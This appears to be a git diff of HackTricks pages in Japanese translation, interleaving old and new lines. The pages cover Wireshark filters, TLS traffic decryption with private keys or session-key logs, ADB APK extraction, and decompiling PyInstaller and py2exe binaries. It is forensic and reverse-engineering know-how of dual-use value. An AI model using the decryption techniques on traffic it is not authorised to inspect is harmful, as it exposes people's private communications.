* `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` * `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
すでに**MACアドレスを知っている場合は、それらを出力から削除**するために、次のようなチェックを追加できます: `&& !(wlan.addr==5c:51:88:31:a0:3b)` すでに**MACアドレスを知っている場合は、出力からそれらを削除**するために、次のようなチェックを追加できます`&& !(wlan.addr==5c:51:88:31:a0:3b)`
ネットワーク内で通信している**不明なMAC**アドレスを検出したら、次のような**フィルタ**を使用できます: `wlan.addr==<MAC address> && (ftp || http || ssh || telnet)`。ftp/http/ssh/telnetフィルタは、トラフィックを復号化済みの場合に有用です。 ネットワーク内で通信している**不明なMAC**アドレスを検出したら、次のような**フィルター**を使用できます:`wlan.addr==<MAC address> && (ftp || http || ssh || telnet)`トラフィックをフィルタリングします。ftp/http/ssh/telnetフィルターは、トラフィックを復号化した場合に便利です。
## トラフィックの復号化 ## トラフィックを復号化する
編集 --> 設定 --> プロトコル --> IEEE 802.11 --> 編集 Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit
![](<../../../.gitbook/assets/image (499).png>) ![](<../../../.gitbook/assets/image (499).png>)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricksをサポートする他の方法: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>
{% endhint %}

View file

@ -1,156 +1,158 @@
# Wiresharkのトリック # Wireshark tricks
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary> <summary>Support HackTricks</summary>
HackTricksをサポートする他の方法 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 [**WhiteIntel**](https://whiteintel.io) は、企業やその顧客が **stealer malwares** によって **compromised** されているかどうかを確認するための **無料** 機能を提供する **ダークウェブ** に基づいた検索エンジンです。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: 彼らのウェブサイトをチェックして、**無料** でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
*** ***
## Wiresharkスキルの向上 ## Improve your Wireshark skills
### チュートリアル ### Tutorials
のチュートリアルは、いくつかのクールな基本的なトリックを学ぶのに素晴らしいです: 以下のチュートリアルは、いくつかのクールな基本的なトリックを学ぶのに素晴らしいです:
- [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/) * [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/)
- [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/) * [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/)
- [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/) * [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/)
- [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/) * [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/)
### 分析情報 ### Analysed Information
**専門家情報** **Expert Information**
_Analyze_ --> **Expert Information**をクリックすると、**分析された**パケットで何が起こっているかの**概要**が表示されます: _**Analyze** --> **Expert Information**_ をクリックすると、パケットの **analyzed** 状態の **overview** が表示されます:
![](<../../../.gitbook/assets/image (256).png>) ![](<../../../.gitbook/assets/image (256).png>)
**解決済みアドレス** **Resolved Addresses**
_Statistics --> Resolved Addresses_の下には、wiresharkによって**解決された**ポート/トランスポートからプロトコル、MACから製造業者など、いくつかの**情報**が表示されます。通信に関わるものを知ることは興味深いです。 _**Statistics --> Resolved Addresses**_ の下には、wireshark によって "**resolved**" されたポート/トランスポートからプロトコル、MACから製造元などのいくつかの **information** を見つけることができます。通信に関与しているものを知るのは興味深いです。
![](<../../../.gitbook/assets/image (893).png>) ![](<../../../.gitbook/assets/image (893).png>)
**プロトコル階層** **Protocol Hierarchy**
_Statistics --> Protocol Hierarchy_の下には、通信に関与する**プロトコル**とそれに関するデータが表示されます。 _**Statistics --> Protocol Hierarchy**_ の下には、通信に関与する **protocols** とそれに関するデータがあります。
![](<../../../.gitbook/assets/image (586).png>) ![](<../../../.gitbook/assets/image (586).png>)
**会話** **Conversations**
_Statistics --> Conversations_の下には、通信中の**会話の要約**とそれに関するデータが表示されます。 _**Statistics --> Conversations**_ の下には、通信の **summary of the conversations** とそれに関するデータがあります。
![](<../../../.gitbook/assets/image (453).png>) ![](<../../../.gitbook/assets/image (453).png>)
**エンドポイント** **Endpoints**
_Statistics --> Endpoints_の下には、通信中の**エンドポイントの要約**とそれぞれに関するデータが表示されます。 _**Statistics --> Endpoints**_ の下には、通信の **summary of the endpoints** とそれぞれに関するデータがあります。
![](<../../../.gitbook/assets/image (896).png>) ![](<../../../.gitbook/assets/image (896).png>)
**DNS情報** **DNS info**
_Statistics --> DNS_の下には、キャプチャされたDNSリクエストに関する統計が表示されます。 _**Statistics --> DNS**_ の下には、キャプチャされた DNS リクエストに関する統計があります。
![](<../../../.gitbook/assets/image (1063).png>) ![](<../../../.gitbook/assets/image (1063).png>)
**I/Oグラフ** **I/O Graph**
_Statistics --> I/O Graph_の下には、通信の**グラフ**が表示されます。 _**Statistics --> I/O Graph**_ の下には、通信の **graph** があります。
![](<../../../.gitbook/assets/image (992).png>) ![](<../../../.gitbook/assets/image (992).png>)
### フィルター ### Filters
ここでは、プロトコルに応じたWiresharkフィルターを見つけることができます[https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ ここでは、プロトコルに応じた wireshark フィルターを見つけることができます: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
他の興味深いフィルター: 他の興味深いフィルター:
- `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)` * `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)`
- HTTPおよび初期HTTPSトラフィック * HTTP と初期 HTTPS トラフィック
- `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)` * `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)`
- HTTPおよび初期HTTPSトラフィック + TCP SYN * HTTP と初期 HTTPS トラフィック + TCP SYN
- `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)` * `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)`
- HTTPおよび初期HTTPSトラフィック + TCP SYN + DNSリクエスト * HTTP と初期 HTTPS トラフィック + TCP SYN + DNS リクエスト
### 検索 ### Search
セッションのパケット内の**コンテンツ**を**検索**したい場合は、_CTRL+f_を押します。右ボタンを押してから列を編集して、メイン情報バーに新しいレイヤーを追加できます番号、時間、ソースなど セッションの **packets** 内の **content****search** したい場合は、_CTRL+f_ を押します。メイン情報バー (No., Time, Source など) に新しいレイヤーを追加するには、右ボタンを押してから列を編集します
### 無料のpcapラボ ### Free pcap labs
**無料のチャレンジで練習:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net) **無料のチャレンジで練習する:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net)
## ドメインの識別 ## Identifying Domains
Host HTTPヘッダーを表示する列を追加できます Host HTTP ヘッダーを表示する列を追加できます:
![](<../../../.gitbook/assets/image (639).png>) ![](<../../../.gitbook/assets/image (639).png>)
そして、初期化HTTPS接続からサーバー名を追加する列を追加できます**ssl.handshake.type == 1** HTTPS 接続を開始する際のサーバー名を追加する列も追加できます (**ssl.handshake.type == 1**):
![](<../../../.gitbook/assets/image (408) (1).png>) ![](<../../../.gitbook/assets/image (408) (1).png>)
## ローカルホスト名の識別 ## Identifying local hostnames
### DHCPから ### From DHCP
現在のWiresharkでは、`bootp`の代わりに`DHCP`を検索する必要があります 現在の Wireshark では `bootp` の代わりに `DHCP` を検索する必要があります。
![](<../../../.gitbook/assets/image (1013).png>) ![](<../../../.gitbook/assets/image (1013).png>)
### NBNSから ### From NBNS
![](<../../../.gitbook/assets/image (1003).png>) ![](<../../../.gitbook/assets/image (1003).png>)
## TLSの復号化 ## Decrypting TLS
### サーバーの秘密鍵を使用してhttpsトラフィックを復号化する ### Decrypting https traffic with server private key
_edit>preference>protocol>ssl>_ _edit>preference>protocol>ssl>_
![](<../../../.gitbook/assets/image (1103).png>) ![](<../../../.gitbook/assets/image (1103).png>)
_Edit_を押して、サーバーとプライベートキーのすべてのデータ_IP、ポート、プロトコル、キーファイル、パスワード_を追加します サーバーとプライベートキーのすべてのデータ (_IP, Port, Protocol, Key file and password_) を追加するには、_Edit_ を押します。
### 対称セッションキーを使用してhttpsトラフィックを復号化する ### Decrypting https traffic with symmetric session keys
FirefoxとChromeの両方には、TLSセッションキーを記録できる機能があり、これをWiresharkで使用してTLSトラフィックを復号化できます。これにより、セキュアな通信の詳細な分析が可能になります。この復号化を実行する方法の詳細については、[Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)のガイドで見つけることができます。 Firefox と Chrome の両方には、TLS セッションキーをログに記録する機能があり、これを使用して Wireshark で TLS トラフィックを復号化できます。これにより、安全な通信の詳細な分析が可能になります。この復号化を実行する方法の詳細は、[Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/) のガイドにあります。
これを検出するには、環境内で`SSLKEYLOGFILE`変数を検索します これを検出するには、環境内で変数 `SSLKEYLOGFILE` を検索します。
共有キーのファイルは次のようになります: 共有キーのファイルは次のようになります:
![](<../../../.gitbook/assets/image (820).png>) ![](<../../../.gitbook/assets/image (820).png>)
これをWiresharkにインポートするには、\_edit > preference > protocol > ssl > に移動し、Pre-Master-Secretログファイル名にインポートします: これを wireshark にインポートするには、_edit > preference > protocol > ssl > そして (Pre)-Master-Secret log filename にインポートします:
![](<../../../.gitbook/assets/image (989).png>) ![](<../../../.gitbook/assets/image (989).png>)
## ADB通信
APKが送信されたADB通信からAPKを抽出します ## ADB communication
APK が送信された ADB 通信から APK を抽出します:
```python ```python
from scapy.all import * from scapy.all import *
@ -181,24 +183,25 @@ f.close()
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業や顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックするための**無料**機能を提供しています。 [**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ** によって駆動される検索エンジンで、企業やその顧客が **スティーラーマルウェア** によって **侵害** されているかどうかを確認するための **無料** 機能を提供しています。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: 彼らのウェブサイトをチェックして、**無料** でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
AWS ハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP ハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **参加する** 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**テレグラムグループ**](https://t.me/peass) に、または **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたり**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出してください。
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# コンパイルされたPythonバイナリexe、elfを逆コンパイルする - .pycから取得 # コンパイルされたPythonバイナリexe、elfをデコンパイルする - .pycから取得
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
- [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する。
- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**する。
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **Intigriti**に**サインアップ**して、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**に参加しましょう![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で今すぐ参加し、最大**$100,000**のバウンティを獲得しましょう! **バグバウンティのヒント****Intigriti**に**サインアップ**してください。これは、**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**のバウンティを獲得し始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
## コンパイルされたバイナリから .pyc ## コンパイルされたバイナリから.pycへ
**ELF**コンパイルされたバイナリからは、次のようにして **.pyc** を取得できます: **ELF**コンパイルバイナリから**.pycを取得する**ことができます:
```bash ```bash
pyi-archive_viewer <binary> pyi-archive_viewer <binary>
# The list of python modules will be given here: # The list of python modules will be given here:
@ -41,38 +42,39 @@ pyi-archive_viewer <binary>
? X binary_name ? X binary_name
to filename? /tmp/binary.pyc to filename? /tmp/binary.pyc
``` ```
**Python exe バイナリ**にコンパイルされた場合、次のコマンドを実行して **.pyc** を取得できます: In a **python exe binary** compiled you can **get the .pyc** by running:
**python exe バイナリ** をコンパイルすると、次のコマンドを実行することで **.pyc** を取得できます:
```bash ```bash
python pyinstxtractor.py executable.exe python pyinstxtractor.py executable.exe
``` ```
## .pycからPythonコードへ ## From .pyc to python code
**.pyc**データ「コンパイルされた」Pythonから、**元の** **Python** **コード**を**抽出**し始める必要があります: **.pyc**データ「コンパイルされた」Pythonについては、**元の** **Python** **コード**を**抽出**しようとすることから始めるべきです:
```bash ```bash
uncompyle6 binary.pyc > decompiled.py uncompyle6 binary.pyc > decompiled.py
``` ```
**.pyc**の**拡張子**が**バイナリ**に**あること**を**確認してください**そうでない場合、uncompyle6は機能しません **必ず**バイナリが**拡張子**「**.pyc**」を持っていることを確認してくださいそうでない場合、uncompyle6は機能しません
**uncompyle6**を実行する際に、**次のエラー**が**発生する**可能性があります: **uncompyle6**を実行していると、**以下のエラー**が発生することがあります:
### エラー:不明なマジックナンバー227 ### エラー: 不明なマジックナンバー 227
```bash ```bash
/kali/.local/bin/uncompyle6 /tmp/binary.pyc /kali/.local/bin/uncompyle6 /tmp/binary.pyc
Unknown magic number 227 in /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc
``` ```
ファイルの先頭に**正しいマジックナンバーを追加する必要があります** この問題を解決するには、生成されたファイルの先頭に**正しいマジックナンバー****追加する**必要があります。
**マジックナンバーはPythonのバージョンによって異なります**。**Python 3.8**のマジックナンバーを取得するには、**Python 3.8**のターミナルを開いて次のコマンドを実行する必要があります: **マジックナンバーはPythonのバージョンによって異なります**。**Python 3.8**のマジックナンバーを取得するには、**Python 3.8**のターミナルを**開いて**、次のコマンドを実行する必要があります:
``` ```
>> import imp >> import imp
>> imp.get_magic().hex() >> imp.get_magic().hex()
'550d0d0a' '550d0d0a'
``` ```
**マジックナンバー**は、この場合、Python3.8の場合は**`0x550d0d0a`**です。したがって、このエラーを修正するには、**.pycファイル**の**先頭**に次のバイトを追加する必要があります:`0x0d550a0d000000000000000000000000` The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000`
その**マジックヘッダー**を追加したら、**エラーは修正されるはず**です。 **Once** you have **added** that magic header, the **error should be fixed.**
これが正しく追加された**.pyc Python3.8のマジックヘッダー**の見た目です: This is how a correctly added **.pyc python3.8 magic header** will look like:
```bash ```bash
hexdump 'binary.pyc' | head hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
@ -80,21 +82,21 @@ hexdump 'binary.pyc' | head
0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064
``` ```
### エラー: 一般的なエラーの逆コンパイル ### エラー: ジェネリックエラーのデコンパイル
`class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` のような**その他のエラー**が発生する可能性があります。 **他のエラー**として: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` が表示されることがあります。
これはおそらく、**適切なマジックナンバーを正しく追加していない**か、**正しいマジックナンバーを使用していない**ことを意味すので、**正しいものを使用していることを確認**してください(または新しいものを試してみてください)。 これはおそらく、**マジックナンバーを正しく追加していない**か、**正しいマジックナンバーを使用していない**ことを意味しますので、**正しいものを使用していることを確認してください**(または新しいものを試してください)。
前のエラードキュメントを確認してください。 前のエラードキュメントを確認してください。
## 自動ツール ## 自動ツール
[**python-exe-unpackerツール**](https://github.com/countercept/python-exe-unpacker) は、Pythonで書かれた実行可能ファイルをアンパックおよび逆コンパイルするために設計されたいくつかのコミュニティで利用可能なツールの組み合わせとして機能します。特に、py2exeとpyinstallerで作成されたものに対応しています。実行可能ファイルがPythonベースであるかどうかを識別するためのYARAルールが含まれており、作成ツールを確認します。 [**python-exe-unpackerツール**](https://github.com/countercept/python-exe-unpacker)は、Pythonで書かれた実行可能ファイルをアンパックおよびデコンパイルするために設計された、いくつかのコミュニティで利用可能なツールの組み合わせとして機能します。特に、py2exeおよびpyinstallerで作成されたものに対応しています。Pythonベースの実行可能ファイルを識別するためのYARAルールが含まれており、作成ツールを確認します。
### ImportError: ファイル名: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' が存在しません ### ImportError: ファイル名: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' が存在しません
遭遇する一般的な問題には、**unpy2exeまたはpyinstxtractorでのアンパックプロセスから生じる不完全なPythonバイトコードファイル**が関連しており、その後、**不足しているPythonバイトコードバージョン番号のためにuncompyle6によって認識されない**ことがあります。 これを解決するために、必要なPythonバイトコードバージョン番号を追加するprependオプションが追加されました。これにより、逆コンパイルプロセスが容易になります。 一般的な問題は、**unpy2exeまたはpyinstxtractorを使用したアンパックプロセス**の結果として不完全なPythonバイトコードファイルが発生し、その後**Pythonバイトコードバージョン番号が欠落しているためにuncompyle6によって認識されない**ことです。これに対処するために、必要なPythonバイトコードバージョン番号を追加するprependオプションが追加され、デコンパイルプロセスを容易にします。
問題の例: 問題の例:
```python ```python
@ -114,9 +116,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
# Successfully decompiled file # Successfully decompiled file
[+] Successfully decompiled. [+] Successfully decompiled.
``` ```
## Pythonアセンブリの解析 ## Analyzing python assembly
前の手順でPythonの「元の」コードを抽出できなかった場合は、アセンブリを抽出しようとしてみることができますしかし、それはあまり記述的ではないので、元のコードを再度抽出しようとしてください。[ここ](https://bits.theorem.co/protecting-a-python-codebase/)で、_.pyc_ バイナリをディスアセンブルする非常にシンプルなコードを見つけましたコードフローを理解するのに幸運を祈ります。_.pyc_ がPython2からのものであれば、Python2を使用してください もし前の手順に従ってpythonの「オリジナル」コードを抽出できなかった場合は、**抽出**を試みることができますが、**それはあまり説明的ではない**ので、**再度**オリジナルコードを抽出することを**試みて**ください。[ここ](https://bits.theorem.co/protecting-a-python-codebase/)で、_.pyc_ バイナリを**逆アセンブル**するための非常にシンプルなコードを見つけましたコードフローを理解するのは幸運を祈ります。_.pyc_ がpython2からのものであれば、python2を使用してください:
```bash ```bash
>>> import dis >>> import dis
>>> import marshal >>> import marshal
@ -159,15 +161,15 @@ True
14 LOAD_CONST 0 (None) 14 LOAD_CONST 0 (None)
17 RETURN_VALUE 17 RETURN_VALUE
``` ```
## Pythonから実行可能ファイルへ ## Python to Executable
まず、ペイロードがpy2exeとPyInstallerでコンパイルされる方法を示します。 最初に、payloadがpy2exeとPyInstallerでどのようにコンパイルされるかを示します。
### py2exeを使用してペイロードを作成する方法 ### py2exeを使用してpayloadを作成するには
1. [http://www.py2exe.org/](http://www.py2exe.org) からpy2exeパッケージをインストールします。 1. [http://www.py2exe.org/](http://www.py2exe.org) からpy2exeパッケージをインストールします。
2. ペイロードこの場合、hello.pyと名前を付けますを作成するには、図1に示すようなスクリプトを使用します。オプション"bundle\_files"の値を1に設定すると、Pythonインタプリタを含むすべてが1つのexeにバンドルされます。 2. payloadこの場合、hello.pyと名付けますには、図1のようなスクリプトを使用します。値が1のオプション“bundle\_files”は、Pythonインタプリタを含むすべてを1つのexeにバンドルします。
3. スクリプトが準備できたら、コマンド"python setup.py py2exe"を発行します。これにより、図2に示すように実行可能ファイルが作成されます。 3. スクリプトが準備できたら、“python setup.py py2exe”というコマンドを発行します。これにより、図2のように実行可能ファイルが作成されます。
```python ```python
from distutils.core import setup from distutils.core import setup
import py2exe, sys, os import py2exe, sys, os
@ -195,10 +197,10 @@ running py2exe
